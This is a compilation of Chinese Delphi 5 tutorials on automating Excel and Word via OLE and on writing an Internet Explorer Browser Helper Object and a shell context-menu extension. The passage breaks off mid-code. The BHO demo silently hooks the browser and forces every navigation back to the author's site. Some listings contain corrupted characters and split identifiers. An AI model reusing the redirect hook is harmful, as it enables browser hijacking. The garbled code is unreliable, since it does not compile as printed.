---- 下面给出一利用Delphi 5.0开发OLE自动化控制器操纵Excel的实例，希望对用Delphi开发OLE应用程序的编程人员有所帮助。

---- 首先新建一Application， 然后在Form1上放置Servers栏控件ExcelApplication1、 ExcelWorkbook1、 ExcelWorksheet1， 再放置控件Table1、 Datasource1、 Dbgrid1、 Button1、 Button2、 Button3、 Button4， 并设置Table1.databasename:=dbdemos， Table1.TableName:=Country.db， Table1.active:=True, Button1.Caption:='SaveToExcel', Button2.caption:='PrintPreview', Button3.caption:='Print', Button4.caption:='CloseExcel'。代码如下：

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls,
Forms, Dialogs, Excel97, OleServer, Db, DBTables,
Grids, DBGrids, StdCtrls;

type
TForm1 = class(TForm)
ExcelApplication1: TExcelApplication;
ExcelWorkbook1: TExcelWorkbook;
ExcelWorksheet1: TExcelWorksheet;
Table1: TTable;
Table1Name: TStringField;
Table1Capital: TStringField;
Table1Continent: TStringField;
Table1Area: TFloatField;
Table1Population: TFloatField;
button1: TButton;
DataSource1: TDataSource;
DBGrid1: TDBGrid;
Button2: TButton;
Button3: TButton;
Button4: TButton;
procedure button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.button1Click(Sender: TObject);
var
i,row,column:integer;
begin
Try
ExcelApplication1.Connect;
Except
MessageDlg('Excel may not be installed',
mtError, [mbOk], 0);
Abort;
End;
ExcelApplication1.Visible[0]:=True;
ExcelApplication1.Caption:='Excel Application';
ExcelApplication1.Workbooks.Add(Null,0);
ExcelWorkbook1.ConnectTo
(ExcelApplication1.Workbooks[1]);
ExcelWorksheet1.ConnectTo
(ExcelWorkbook1.Worksheets[1] as _Worksheet);
Table1.Open;
row:=1;
While Not(Table1.Eof) do
begin
column:=1;
for i:=1 to Table1.FieldCount do
begin
ExcelWorksheet1.Cells.Item[row,column]:
=Table1.fields[i-1].AsString;
column:=column+1;
end;
Table1.Next;
row:=row+1;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ExcelWorksheet1.PrintPreview;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
ExcelWorksheet1.PrintOut;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
ExcelApplication1.Disconnect;
ExcelApplication1.Quit;
end;

end.

---- 本程序在Delphi 5.0下调试通过。

让DELPHI与OFFICE联姻

    由于微软的Office系列的完善的功能；与Windows和IE的紧密集成以及强大的扩展能力，它实际上已经成为事实上的Windows下办公软件的标准，我们知道在VB中可以建立各种Office对象（Word、Excel）并控制这些对象编辑、打印、保存文档以及控制执行Office中的很多操作。象这样在VB中建立并控制Office对象是十分有用的，例如你可以将一个或者一批数据库自动输入到Word或者Excel中并保存，再通过Outlook将文档分发给其它同仁。
    过去，这只有通过VB才能实现的，但是现在Delphi5也提供了这样强大的对象组。利用Delphi也可以利用Office资源了。
    打开Delphi，滚动Compent Palette到Servers页，就可以看到很多熟悉的控件图标，这些就是Office组件的控件。Delphi 5中对应Office的组件包括了Word、Excel、Access、PowerPoint和Outlook可以说是十分的全面。不过要使用这些组件首先要保证你的系统中安装了Office 97或以上的 版本。
    下面首先来说以下Office组件的基本使用方法Delphi中对于Office中不同的组件，首先要建立一个Application对象，例如要控制Word，首先要建立TWordApplication对象，然后再将诸如TWordDocument等Word对象通过ConnectTo方法连接到TWordApplication对象上。对于其它的Excel、Outlook等也是如此。
    下面我通过具体的范例来说明对Delphi中Office对象的控制，即如何将文字输出到Word中进行简单的排版并保存和打印输出。
    首先建立一个新的工程，在Form1中加入三个TButton对象、一个TMemo对象、一个TWordApplication对象、一个TWordDocument对象、一个TWordFont对象。下面是Form1的代码：
    unit Unit1;
    interface
    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    StdCtrls, ExtCtrls, Word97, OleServer,Clipbrd;
    type
    TForm1 = class(TForm)
    Memo1: TMemo;
    Button1: TButton;
    WordApplication1: TWordApplication;
    WordDocument1: TWordDocument;
    WordFont1: TWordFont;
    Button2: TButton;
    Button3: TButton;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;
    var
    Form1: TForm1;
    implementation
    {＄R ＊.DFM}
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    Button1.Caption := '插入到Word';
    Button2.Caption := '打印';
    Button3.Caption := '退出';
    Button2.Enabled :=False;
    Button3.Enabled :=False;
    end;
    procedure TForm1.Button1Click(Sender: TObject);
    var
    Template,NewTemplate,ItemIndex:OleVariant;
    procedure setfont;
    begin
    WordFont1.ConnectTo(WordDocument1.Sentences.Get_Last.Font);
    WordFont1.Bold := 1;
    WordFont1.Italic := 1;
    WordFont1.shadow := 1;
    WordFont1.Size := 12;
    end;
    begin
    try
    Template := EmptyParam;
    NewTemplate := True;
    ItemIndex := 1;
    try
    Wordapplication1.Connect;
    except
    MessageDlg('无法连接，也许没有安装Word', mtError, [mbOk], 0);
    Abort;
    end;
    Wordapplication1.Visible := False;
    WordApplication1.Caption := 'Delphi Word';
    file://建立一个新文档
    Template := EmptyParam;
    NewTemplate := False;
    WordApplication1.Documents.Add(Template, NewTemplate);
    file://建立WordDocument连接
    WordDocument1.ConnectTo(WordApplication1.Documents.Item(ItemIndex));
    file://因为Word进行拼写检查需要很多时间，所以首先关闭检查
    WordApplication1.Options.CheckSpellingAsYouType := False;
    WordApplication1.Options.CheckGrammarAsYouType := False;
    file://将Memo1的内容拷贝到Word中
    SetFont;
    WordDocument1.Range.InsertAfter('Memo1的文本: ' ＋ ＃13＋Memo1.Text ＋ ＃13);
    Button2.Enabled :=True;
    Button3.Enabled :=True;
    Button1.Enabled :=False;
    except
    on E: Exception do
    begin
    ShowMessage(E.Message);
    WordApplication1.Disconnect;
    end;
    end;
    end;
    procedure TForm1.Button2Click(Sender: TObject);
    begin
    WordDocument1.PrintOut;
    end;
    procedure TForm1.Button3Click(Sender: TObject);
    var
    SaveChanges,OriginalFormat,RouteDocument,SavePath: OleVariant;
    begin
    SaveChanges := WdDoNotSaveChanges;
    OriginalFormat := UnAssigned;
    RouteDocument := UnAssigned;
    try
    SavePath:='c:\samp.doc';
    WordDocument1.SaveAs(SavePath);
    WordDocument1.Close;
    WordDocument1.Disconnect;
    WordApplication1.Quit(SaveChanges, OriginalFormat, RouteDocument);
    WordApplication1.Disconnect;
    close;
    except
    on E: Exception do
    begin
    Showmessage(E.Message);
    WordApplication1.Disconnect;
    end;
    end;
    end;
    end.
    运行程序，在Memo1中输入一些文字，点击“插入到Word”按钮，然后点击“打印”按钮就可以将由Memo1输入到Word中的文本打印出来。点击“退出”按钮就可以将文档保存到 c:\samp.doc 中然后关闭与Word的连接并退出。
    由上面的范例可以看到，Delphi对于Office组件的编程同VB是有一些相似的，由于不知道什么原因，Delphi并没有提供Office组件的帮助文档。上面的程序我是一点点摸索出来的，但是如果你掌握了Office组件的编程技巧，加上Delphi强大的功能，一定会使你的程序如虎添翼的。
    以上程序在Windows98、Windows2000，Delphi5.0，Office2000下运行通过。


CSDN_文档中心_利用Delphi 5中调用Excel 97

利用Delphi 5中调用Excel 97
--------------------------------------------------------------------------------

---- 在Delphi 5中简单地封装了一组Microsoft Office自动化对象(Automation servers)。它使得我们
很容易地把Office中的应用程序(Word, Excel, PowerPoint, Outlook and Access等)当作一个com应用
服务器进行控制。

在Delphi 5中已经带了Word与PowerPoint的例子，因为Excel的调用与这两个应用服务器的调用略有不同，
所以本人根据这两个例子写了个Excel 97的简单例子以供参考。

---- 步聚

创建一个普通Application。

在Form中分别放入ExcelApplication, ExcelWorkbook和ExcelWorksheet。

连接Excel 97，具体方法如下：
打开Excel97。
Try
ExcelApplication1.Connect;
Except
End;
ExcelApplication1.Visible[0]:=True;
增加一个Workbook。
ExcelWorkbook1.ConnectTo(ExcelApplication1.
Workbooks.Add(EmptyParam,0));

添加一个Worksheet。
var
Temp_Worksheet: _WorkSheet;
begin
Try
Temp_Worksheet:=ExcelWorkbook1.
WorkSheets.Add(EmptyParam,
EmptyParam,EmptyParam,EmptyParam,0)
as _WorkSheet;//(注意)
ExcelWorkSheet1.ConnectTo(Temp_WorkSheet);
Except
ShowMessage('Failure');
End;
end;
关闭Excel.
Try
ExcelApplication1.Quit;
ExcelWorksheet1.Disconnect;
ExcelWorkbook1.Disconnect;
ExcelApplication1.Disconnect;
Except
End;
---- 4. 对Excel的一些操作:
选择当前Workbook的某一Worksheet.
procedure TForm1.ComboBox1DropDown
(Sender: TObject);
var
i: Integer;
begin
ComboBox1.Clear;
For i:=1 to ExcelWorkbook1.
Worksheets.Count do
ComboBox1.Items.Add
((ExcelWorkbook1.Worksheets.Item[i]
as _WorkSheet).Name);
end;

procedure TForm1.ComboBox1Change
(Sender: TObject);
begin
ExcelWorkSheet1.ConnectTo
(ExcelWorkbook1.Worksheets.Item
[ComboBox1.ItemIndex+1] as _WorkSheet);
ExcelWorkSheet1.Activate;
end;

选择某一Workbook:
procedure TForm1.ComboBox2DropDown
(Sender: TObject);
var
i: Integer;
begin
ComboBox2.Clear;
if ExcelApplication1.Workbooks.Count >0 then
For i:=1 to ExcelApplication1.Workbooks.Count do
Combobox2.Items.Add(ExcelApplication1.
Workbooks.Item[i].Name);
end;

procedure TForm1.ComboBox2Change(Sender: TObject);
begin
ExcelWorkSheet1.Disconnect;
ExcelWorkBook1.ConnectTo(ExcelApplication1.Workbooks.
Item[Combobox2.ItemIndex+1]);
ExcelWorkBook1.Activate;
ExcelWorksheet1.ConnectTo(ExcelWorkBook1.
ActiveSheet as _WorkSheet);
ExcelWorkSheet1.Activate;
end;

对某一单元格进行赋值及取值。
procedure TForm1.Button5Click(Sender: TObject);
begin
ExcelWorksheet1.Cells.Item[SpinEdit2.Value,
SpinEdit1.Value]:=Edit1.Text;
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
Edit1.Text:=ExcelWorksheet1.Cells.Item[
SpinEdit2.Value,SpinEdit1.Value];
end;

选择某一区域
ExcelWorkSheet1.Range['A1','C1'].Select;

打开一个Excel文件。
if OpenDialog1.Execute then
Begin
Try
ExcelWorkBook1.ConnectTo
(ExcelApplication1.Workbooks.Open
(OpenDialog1.FileName,
EmptyParam,EmptyParam,EmptyParam,
EmptyParam,EmptyParam,
EmptyParam,EmptyParam,EmptyParam,
EmptyParam,EmptyParam,
EmptyParam,EmptyParam,0));
ExcelWorkSheet1.ConnectTo
(ExcelWorkBook1.Activesheet
as _Worksheet);
Except;
End;
End;

---- 说明
---- 本程序在Win98+Delphi 5+Excel 97下运行通过。本例子还可以作适当的扩充，如DDE、执行宏调用、
保存文件、打印文件及对Excel的设置等，此设置方法请参阅Microsoft Excel Visual Basic参考中的
Microsoft Excel对象。


CSDN_文档中心_利用Delphi编写IE扩展

就是如何使IE扩展组件可以响应事件。
在自己的程序中使用过WebBrowser控件的朋友都知道，WebBrowser控件定义了诸如BeforeNavigate、DownloadComplete 等事件，我们可以通过编写事件处理代码实现对WebBrowser控件的操作。那么如何实现对IE的事件响应和处理呢？同建立IE面板一样。我们需要建立一个实现IObjectWithSite接口的COM组件，不同的是，我们还需要实现IDispatch接口，在IObjectWithSite接口的SetSite方法中获得IE的WebBrowser接口并建立自身与WebBrowser的连接，然后如果在IE的Webbrowser对象中发生什么事件的话，那么IE就会回调连接的IDispatch接口的Invoke方法。我们通过在Invoke方法中编写代码就可以获得IE事件了。这个利用的是COM编程的回调接口原理。
下面我们首先来实现代码。点击Delphi菜单 File | New 。在 ActiveX 页面中选择Active Library ，然后点击 OK 按钮。然后用同样的方法建立一个COM Object。在COM Object Wizard 窗口中，将复选框 Included type library 去掉。然后在Class Name中输入IEHelper，在Implemented Interface 中输入：IDispatch；IObjectwithSite 。然后点击 OK 按钮建立一个COM组件。
保存工程，将工程保存为IEHelper.dpr，将Unit1保存为IEHelperUnit.pas。下面是IEHelperUnit.pas的具体代码：

unit iehelperunit;

interface

uses
WIndows, Comobj, ActiveX, SHDOCVW, MSHTML,Dialogs;

type

TIEHelperFactory = class(TComObjectFactory)
private
procedure AddKeys;
procedure RemoveKeys;
public
procedure UpdateRegistry(Register: Boolean); override;
end;

TIEHelper = class(TComObject, IDispatch, IObjectWithSite)
public
function GetTypeInfoCount(out Count: Integer): HResult; stdcall;
function GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult; stdcall;
function GetIDsOfNames(const IID: TGUID; Names: Pointer;
NameCount, LocaleID: Integer; DispIDs: Pointer): HResult; stdcall;
function Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;
Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult; stdcall;
function SetSite(const pUnkSite: IUnknown): HResult; stdcall;
function GetSite(const riid: TIID; out site: IUnknown): HResult; stdcall;
private
IE: IWebbrowser2;
Cookie: Integer;
end;

const
Class_IEHelper: TGUID = '{3D898C55-74CC-4B7C-B5F1-45913F368388}';

implementation

uses ComServ, Registry, SysUtils;

procedure DoStatusTextChange(const Text: WideString);
begin

end;

procedure DoProgressChange(Progress: Integer; ProgressMax: Integer);
begin

end;

procedure DoCommandStateChange(Command: Integer; Enable: WordBool);
begin

end;

procedure DoDownloadBegin;
begin

end;

procedure DoDownloadComplete;
begin

end;

procedure DoTitleChange(const Text: WideString);
begin

end;

procedure DoPropertyChange(const szProperty: WideString);
begin

end;

procedure DoBeforeNavigate2(const pDisp: IDispatch; var URL: OleVariant; var Flags: OleVariant; var TargetFrameName: OleVariant; var PostData: OleVariant; var Headers: OleVariant; var Cancel: WordBool);
begin
if URL<>'http://www.applevb.com/'then begin
Showmessage('你不可以浏览其它站点');
Cancel:=True;
URL:='http://www.applevb.com';
(pDisp as IWebbrowser2).Navigate2(URL,Flags,TargetFrameName,PostData,Headers);
end;
end;

procedure DoNewWindow2(var ppDisp: IDispatch; var Cancel: WordBool);
begin

end;

procedure DoNavigateComplete2(const pDisp: IDispatch; var URL: OleVariant);
begin

end;

procedure DoDocumentComplete(const pDisp: IDispatch; var URL: OleVariant);
begin

end;

procedure DoOnQuit;
begin

end;

procedure DoOnVisible(Visible: WordBool);
begin

end;

procedure DoOnToolBar(ToolBar: WordBool);
begin

end;

procedure DoOnMenuBar(MenuBar: WordBool);
begin

end;

procedure DoOnStatusBar(StatusBar: WordBool);
begin

end;

procedure DoOnFullScreen(FullScreen: WordBool);
begin

end;

procedure DoOnTheaterMode(TheaterMode: WordBool);
begin

end;

procedure BuildPositionalDispIds(pDispIds: PDispIdList; const dps: TDispParams);
var
i: integer;
begin
Assert(pDispIds <> nil);
for i := 0 to dps.cArgs - 1 do
pDispIds^[i] := dps.cArgs - 1 - i;
if (dps.cNamedArgs <= 0) then Exit;
for i := 0 to dps.cNamedArgs - 1 do
pDispIds^[dps.rgdispidNamedArgs^[i]] := i;
end;

function TIEHelper.Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;
Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult;
type
POleVariant = ^OleVariant;
var
dps: TDispParams absolute Params;
bHasParams: boolean;
pDispIds: PDispIdList;
iDispIdsSize: integer;
begin
Result := DISP_E_MEMBERNOTFOUND;
pDispIds := nil;
iDispIdsSize := 0;
bHasParams := (dps.cArgs > 0);
if (bHasParams) then
begin
iDispIdsSize := dps.cArgs * SizeOf(TDispId);
GetMem(pDispIds, iDispIdsSize);
end;
try
if (bHasParams) then BuildPositionalDispIds(pDispIds, dps);
case DispId of
102:
begin
DoStatusTextChange(dps.rgvarg^[pDispIds^[0]].bstrval);
Result := S_OK;
end;
108:
begin
DoProgressChange(dps.rgvarg^[pDispIds^[0]].lval, dps.rgvarg^[pDispIds^[1]].lval);
Result := S_OK;
end;
105:
begin
DoCommandStateChange(dps.rgvarg^[pDispIds^[0]].lval, dps.rgvarg^[pDispIds^[1]].vbool);
Result := S_OK;
end;
106:
begin
DoDownloadBegin();
Result := S_OK;
end;
104:
begin
DoDownloadComplete();
Result := S_OK;
end;
113:
begin
DoTitleChange(dps.rgvarg^[pDispIds^[0]].bstrval);
Result := S_OK;
end;
112:
begin
DoPropertyChange(dps.rgvarg^[pDispIds^[0]].bstrval);
Result := S_OK;
end;
250:
begin
DoBeforeNavigate2(IDispatch(dps.rgvarg^[pDispIds^[0]].dispval), POleVariant(dps.rgvarg^[pDispIds^[1]].pvarval)^, POleVariant(dps.rgvarg^[pDispIds^[2]].pvarval)^, POleVariant(dps.rgvarg^[pDispIds^[3]].pvarval)^, POleVariant(dps.rgvarg^[pDispIds^[4]].pvarval)^, POleVariant(dps.rgvarg^[pDispIds^[5]].pvarval)^, dps.rgvarg^[pDispIds^[6]].pbool^);
Result := S_OK;
end;
251:
begin
DoNewWindow2(IDispatch(dps.rgvarg^[pDispIds^[0]].pdispval^), dps.rgvarg^[pDispIds^[1]].pbool^);
Result := S_OK;
end;
252:
begin
DoNavigateComplete2(IDispatch(dps.rgvarg^[pDispIds^[0]].dispval), POleVariant(dps.rgvarg^[pDispIds^[1]].pvarval)^);
Result := S_OK;
end;
259:
begin
DoDocumentComplete(IDispatch(dps.rgvarg^[pDispIds^[0]].dispval), POleVariant(dps.rgvarg^[pDispIds^[1]].pvarval)^);
Result := S_OK;
end;
253:
begin
DoOnQuit();
Result := S_OK;
end;
254:
begin
DoOnVisible(dps.rgvarg^[pDispIds^[0]].vbool);
Result := S_OK;
end;
255:
begin
DoOnToolBar(dps.rgvarg^[pDispIds^[0]].vbool);
Result := S_OK;
end;
256:
begin
DoOnMenuBar(dps.rgvarg^[pDispIds^[0]].vbool);
Result := S_OK;
end;
257:
begin
DoOnStatusBar(dps.rgvarg^[pDispIds^[0]].vbool);
Result := S_OK;
end;
258:
begin
DoOnFullScreen(dps.rgvarg^[pDispIds^[0]].vbool);
Result := S_OK;
end;
260:
begin
DoOnTheaterMode(dps.rgvarg^[pDispIds^[0]].vbool);
Result := S_OK;
end;
end;
finally
if (bHasParams) then FreeMem(pDispIds, iDispIdsSize);
end;
end;

function TIEHelper.GetIDsOfNames(const IID: TGUID; Names: Pointer;
NameCount, LocaleID: Integer; DispIDs: Pointer): HResult;
begin
Result := E_NOTIMPL;
end;

function TIEHelper.GetTypeInfo(Index, LocaleID: Integer;
out TypeInfo): HResult;
begin
Result := E_NOTIMPL;
pointer(TypeInfo) := nil;
end;

function TIEHelper.GetTypeInfoCount(out Count: Integer): HResult;
begin
Result := E_NOTIMPL;
Count := 0;
end;

function TIEHelper.GetSite(const riid: TIID; out site: IUnknown): HResult;
begin
// Result := S_OK;
if Assigned(IE) then result:=IE.QueryInterface(riid, site)
else
Result:= E_FAIL;
end;

function TIEHelper.SetSite(const pUnkSite: IUnknown): HResult;
var
cmdTarget: IOleCommandTarget;
Sp: IServiceProvider;
CPC: IConnectionPointContainer;
CP: ICOnnectionPoint;
begin
if Assigned(pUnkSite) then begin
cmdTarget := pUnkSite as IOleCommandTarget;
Sp := CmdTarget as IServiceProvider;

if Assigned(Sp)then
Sp.QueryService(IWebbrowserApp, IWebbrowser2, IE);
if Assigned(IE) then begin
IE.QueryInterface(IConnectionPointContainer, CPC);
CPC.FindConnectionPoint(DWEBbrowserEvents2, CP);
CP.Advise(Self, Cookie)
end;
end;
Result := S_OK;
end;

procedure TIEHelperFactory.AddKeys;
var S: string;
begin
S := GUIDToString(CLASS_IEHelper);
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
if OpenKey('Software\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\' + S, TRUE)
then CloseKey;
finally
free;
end;
end;

procedure TIEHelperFactory.RemoveKeys;
var S: string;
begin
S := GUIDToString(CLASS_IEHelper);
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
DeleteKey('Software\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\' + S);
finally
free;
end;
end;

procedure TIEHelperFactory.UpdateRegistry(Register: Boolean);
begin
inherited UpdateRegistry(Register);
if Register then AddKeys else RemoveKeys;
end;

initialization
TIEHelperFactory.Create(ComServer, TIEHelper, Class_IEHelper,
'IEHelper', '', ciMultiInstance, tmApartment);
end.

代码很长，但是关键的是TIEHelper.SetSite方法以及TIEHelper.Invoke方法。在TIEHelper.SetSite方法中注意以下语句：
if Assigned(Sp)then
Sp.QueryService(IWebbrowserApp, IWebbrowser2, IE);
if Assigned(IE) then begin
IE.QueryInterface(IConnectionPointContainer, CPC);
CPC.FindConnectionPoint(DWEBbrowserEvents2, CP);
CP.Advise(Self, Cookie)

上面的语句作用是，首先获得IE的Webbrowser接口，然后寻找到连接点。并通过Advise方法建立COM自身与连接点的连接。
当连接建立成功后，IE在有事件引发后，会调用连接到自身的IDispatch接口对象的Invoke方法。不同的事件对应不同的DispID编码，我们可以在程序中判断DispID并做相应的处理。在上面的程序中，我们只处理了BeforeNavigate2 事件，处理函数是DoBeforeNavigate2，在该函数中，如果浏览的站点不是'http://www.applevb.com/'的话，程序会提示：'你不可以浏览其它站点'并强行转到http://www.applevb.com。
很多的软件，象“护花使者”以及“3721”一类的中文网址”都是利用上面的原理来实现对IE浏览器事件响应的，例如3721，当用户输入一个中文词并浏览时，COM组件可以在BeforeNavigate2 事件中编写代码访问服务器并转到正确的站点上去。
以上程序在Win2K、Delphi 5下编写 Win98、Win2K下编辑通过，如果大家需要源程序或者对于COM编程需要有什么的指教的话，欢迎到我的主页 http://www.applevb.com 访问，我愿意同大家一起探讨。


CSDN_文档中心_利用DELPHI编写WINDOWS外壳

利用DELPHI编写WINDOWS外壳

     对于操作系统原理比较了解的朋友都会知道，一个完备的操作系统都会提供一个外壳（Shell），以方便普通用户使用操作系统提供的各种功能。Windows（在这里指的是Windows 95\Windows NT4.0以上版本的操作系统）的外壳不但提供了方便美观的GUI图形界面，而且还提供了强大的外壳扩展功能，大家可能在很多软件中看到这些外壳扩展了。例如:如果你的系统中安装了Winzip的话，当你在Windows Explore中鼠标右键点击文件夹或者文件时，弹出菜单中就会出现Winzip的压缩菜单。
    Windows支持七种类型的外壳扩展（称为Handler），它们相应的作用简述如下：
    (1)Context menu handlers:向特定类型的文件对象增添上下文相关菜单；
    (2)Drag－and－drop handlers:用来支持当用户对某种类型的文件对象进行拖放操作时的OLE数据传输；
    (3)Icon handlers:用来向某个文件对象提供一个特有的图标，也可以给某一类文件对象指定图标；
    (4)Property sheet handlers:给文件对象增添属性页（就是右键点击文件对象或文件夹对象后，在弹出菜单中选属性项后出现的对话框），属性页可以为同一类文件对象所共有，也可以给一个文件对象指定特有的属性页；
    (5)Copy－hook handlers:在文件夹对象或者打印机对象被拷贝、移动、删除和重命名时，就会被系统调用，通过为Windows增加Copy－hook handlers，可以允许或者禁止其中的某些操作；
    (6)Drop target handlers:在一个对象被拖放到另一个对象上时，就会被系统被调用；
    (7)Data object handlers:在文件被拖放、拷贝或者粘贴时，就会被系统被调用。
    Windows的所有外壳扩展都是基于COM(Component Object Model) 组件模型的，外壳是通过接口(Interface)来访问对象的。外壳扩展被设计成32位的进程中服务器程序，并且都是以动态链接库的形式为操作系统提供服务的。因此，如果要对Windows的用户界面进行扩充的话，则具备写COM对象的一些知识是十分必要的。
    写好外壳扩展程序后，必须将它们注册才能生效。所有的外壳扩展都必须在Windows注册表的HKEY_CLASSES_ROOT\CLSID键之下进行注册。在该键下面可以找到许多名字像{0000002F－0000－0000－C000－000000000046}的键，这类键就是全局唯一类标识符(Guid)。每一个外壳扩展都必须有一个全局唯一类标识符，Windows正是通过此唯一类标识符来找到外壳扩展处理程序的。在类标识符之下的InProcServer32子键下记录着外壳扩展动态链接库在系统中的位置。与某种文件类型关联的外壳扩展注册在相应类型的shellex主键下。如果所处的Windows操作系统为Windows NT，则外壳扩展还必须在注册表中的HKEY－LOCAL－MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellExtensions\Approved主键下登记。
    编译完外壳扩展的DLL程序后就可以用Windows本身提供的regsvr32.exe来注册该DLL服务器程序了。如果使用Delphi，也可以在Run菜单中选择Register ActiveX Server来注册。
    下面首先介绍一个比较常用的外壳扩展应用：上下文相关菜单，在Windows中，用鼠标右键单击文件或者文件夹时弹出的那个菜单便称为上下文相关菜单。要动态地在上下文相关菜单中增添菜单项，可以通过写Context Menu Handler来实现。比如大家所熟悉的WinZip和UltraEdit等软件都是通过编写Context Menu Handler来动态地向菜单中增添菜单项的。本文要实现的Context Menu Handler将在任意类型文件对象的上下文相关菜单中添加一个文件操作菜单项，当点击该项后，接口程序就会弹出一个文件操作窗口，执行文件拷贝、移动等操作。
    编写Context Menu Handler必须实现IShellExtInit、IContextMenu和TComObjectFactory三个接口。IShellExtInit实现接口的初始化，IContextMenu接口对象实现上下文相关菜单，IComObjectFactory接口实现对象的创建。
    下面是具体的程序实现。首先在Delphi中点击菜单的File|New项，在New Item窗口中选择DLL建立一个DLL工程文件。然后点击菜单的File|New项，在New Item窗口中选择Unit建立一个Unit文件，点击点击菜单的File|New项，在New Item窗口中选择Form建立一个新的窗口。将将工程文件保存为Contextmenu.dpr，将Unit1保存为Contextmenuhandle.pas，将Form保存为OpWindow.pas。
    Contextmenu.dpr的程序清单如下：
    library contextmenu;
    uses
    ComServ,
    contextmenuhandle in 'contextmenuhandle.pas',
    opwindow in 'opwindow.pas' {Form2};
    exports
    DllGetClassObject,
    DllCanUnloadNow,
    DllRegisterServer,
    DllUnregisterServer;
    {＄R ＊.TLB}
    {＄R ＊.RES}
    begin
    end.
    Contextmenuhandle的程序清单如下：
    unit ContextMenuHandle;
    interface
    uses Windows,ActiveX,ComObj,ShlObj,Classes;
    type
    TContextMenu = class(TComObject,IShellExtInit,IContextMenu)
    private
    FFileName: array[0..MAX_PATH] of Char;
    protected
    function IShellExtInit.Initialize = SEIInitialize; // Avoid compiler warning
    function SEIInitialize(pidlFolder: PItemIDList; lpdobj: IDataObject;
    hKeyProgID: HKEY): HResult; stdcall;
    function QueryContextMenu(Menu: HMENU; indexMenu, idCmdFirst, idCmdLast,
    uFlags: UINT): HResult; stdcall;
    function InvokeCommand(var lpici: TCMInvokeCommandInfo): HResult; stdcall;
    function GetCommandString(idCmd, uType: UINT; pwReserved: PUINT;
    pszName: LPSTR; cchMax: UINT): HResult; stdcall;
    end;
    const
    Class_ContextMenu: TGUID = '{19741013－C829－11D1－8233－0020AF3E97A0}';
    {全局唯一标识符(GUID)是一个16字节（128为）的值，它唯一地标识一个接口(interface)}
    var
    FileList:TStringList;
    implementation
    uses ComServ, SysUtils, ShellApi, Registry,UnitForm;
    function TContextMenu.SEIInitialize(pidlFolder: PItemIDList; lpdobj: IDataObject;
    hKeyProgID: HKEY): HResult;
    var
    StgMedium: TStgMedium;
    FormatEtc: TFormatEtc;
    FileNumber,i:Integer;
    begin
    //如果lpdobj等于Nil，则本调用失败
    if (lpdobj = nil) then begin
    Result := E_INVALIDARG;
    Exit;
    end;
    //首先初始化并清空FileList以添加文件
    FileList:=TStringList.Create;
     FileList.Clear;
    //初始化剪贴版格式文件
    with FormatEtc do begin
    cfFormat := CF_HDROP;
    ptd := nil;
    dwAspect := DVASPECT_CONTENT;
    lindex := －1;
    tymed := TYMED_HGLOBAL;
    end;
    Result := lpdobj.GetData(FormatEtc, StgMedium);
    if Failed(Result) then Exit;
    //首先查询用户选中的文件的个数
    FileNumber := DragQueryFile(StgMedium.hGlobal,＄FFFFFFFF,nil,0);
    //循环读取，将所有用户选中的文件保存到FileList中
    for i:=0 to FileNumber－1 do begin
    DragQueryFile(StgMedium.hGlobal, i, FFileName, SizeOf(FFileName));
    FileList.Add(FFileName);
    Result := NOERROR;
    end;
    ReleaseStgMedium(StgMedium);
    end;
    function TContextMenu.QueryContextMenu(Menu: HMENU; indexMenu, idCmdFirst,
    idCmdLast, uFlags: UINT): HResult;
    begin
    Result := 0;
    if ((uFlags and ＄0000000F) = CMF－NORMAL) or
    ((uFlags and CMF_EXPLORE) <> 0) then begin
    // 往Context Menu中加入一个菜单项 ,菜单项的标题为察看位图文件
    InsertMenu(Menu, indexMenu, MF_STRING or MF_BYPOSITION, idCmdFirst,
    PChar('文件操作'));
    // 返回增加菜单项的个数
    Result := 1;
    end;
    end;
    function TContextMenu.InvokeCommand(var lpici: TCMInvokeCommandInfo): HResult;
    var
    frmOP:TForm1;
    begin
    // 首先确定该过程是被系统而不是被一个程序所调用
    if (HiWord(Integer(lpici.lpVerb)) <> 0) then
    begin
    Result := E_FAIL;
    Exit;
    end;
    // 确定传递的参数的有效性
    if (LoWord(lpici.lpVerb) <> 0) then begin
    Result := E_INVALIDARG;
    Exit;
    end;
    //建立文件操作窗口
    frmOP:=TForm1.Create(nil);
    //将所有的文件列表添加到文件操作窗口的列表中
    frmOP.ListBox1.Items := FileList;
    Result := NOERROR;
    end;
    function TContextMenu.GetCommandString(idCmd, uType: UINT; pwReserved: PUINT;
    pszName: LPSTR; cchMax: UINT): HRESULT;
    begin
     if (idCmd = 0) then begin
     if (uType = GCS_HELPTEXT) then
    {返回该菜单项的帮助信息，此帮助信息将在用户把鼠标
    移动到该菜单项时出现在状态条上。}
    StrCopy(pszName, PChar('点击该菜单项将执行文件操作'));
    Result := NOERROR;
    end
    else
    Result := E_INVALIDARG;
    end;
    type
    TContext Menu Factory =class(TCom Object Factory)
    public
    procedure UpdateRegistry(Register: Boolean); override;
    end;
    procedure TContextMenuFactory.UpdateRegistry(Register: Boolean);
    var
    ClassID: string;
    begin
    if Register then begin
    inherited UpdateRegistry(Register);
    ClassID := GUIDToString(Class－ContextMenu);
